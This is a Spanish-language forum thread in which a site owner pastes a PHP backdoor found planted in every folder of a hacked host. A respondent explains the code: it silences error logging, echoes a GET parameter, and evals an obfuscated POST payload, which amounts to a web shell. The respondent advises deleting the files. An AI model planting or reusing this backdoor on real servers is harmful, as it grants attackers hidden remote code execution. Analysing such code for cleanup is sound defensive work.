Web hackeada, que hace este código?

Iniciado por playman, 3 Diciembre 2012, 10:19 AM

0 Miembros y 1 Visitante están viendo este tema.

playman

Buenas, resulta que nos han hackeado el hosting, la razí y todas las subcarpetas contienen un archivo "default.php" con el siguiente código:

<?php
@error_reporting(0); 
@
ini_set("display_errors",0); 
@
ini_set("log_errors",0); 
@
ini_set("error_log",0); 

if (isset(
$_GET['r'])) { print $_GET['r']; } 
elseif (isset(
$_POST['e'])) { 
eval(
base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); 

exit;
?>


Qué se supone que hace? El primer if simplemente hace un echo y el elseif trata una cadena, la pone al reves, la cifra etc. no??

No entiendo mucho la utilidad del código.

Muchas gracias!!

isseu

#1
Es un codigo maligno claramente ....
Puedes buscar en internet más casos parecidos al buscar (con las comillas) --> "eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); "
Mira el caso: http://wordpress.org/support/topic/cant-get-rid-of-a-redirecting-trojan
Hace 3 cosas:

Código (php) [Seleccionar]
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);


1.- La primeras 4 lineas sirven para no mostrar errores, si existe alguno no mostrarlo. También si existe algún error no logearlo, para que asi no te des cuenta tu.

Código (php) [Seleccionar]
if (isset($_GET['r'])) { print $_GET['r']; }

2.-  Si envia un GET 'r', lo imprime en la web, la verdad no se bien para que le serviria esto a alguien, tal vez como debugging o para xss, ni idea.

Código (php) [Seleccionar]

eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));


3.- Claramente una especie de shell. eval() lo que hace es evaluar código PHP, y luego siguen un montón de funciones codificadoras, es decir, al enviar un POST  codificado se puede lograr que el servidor haga lo que quiere uno hacer. Por ej: conseguir un shell remoto con exec()

Elimina los archivos inmediatamente ... Y busca como los introdujeron, me parece que fue un ataque automatizado, nose porque....
PD: ¿de casualidad usas wordpress?


playman

Muchas gracias!!!

De todas maneras con la función eval, ya imprime por pantalla?

Igualmente no uso Wordpress, aunque es posible que en otra carpeta del servidor haya wordpress...

Bueno muchas gracias me quedó todo bastante claro :)

isseu

Con la funciona eval() ya puedes imprimir en pantalla, por eso lo encuentraba un poco raro. Puede ser que algunos servidores bloquen eval(), por lo que podría servir como debugging o para algún xss. No te preocupes lo de wordpress, era solo algo que escuche por ahí.

aixeiger

Citar
Elimina los archivos inmediatamente ... Y busca como los introdujeron, me parece que fue un ataque automatizado, nose porque....

jajaja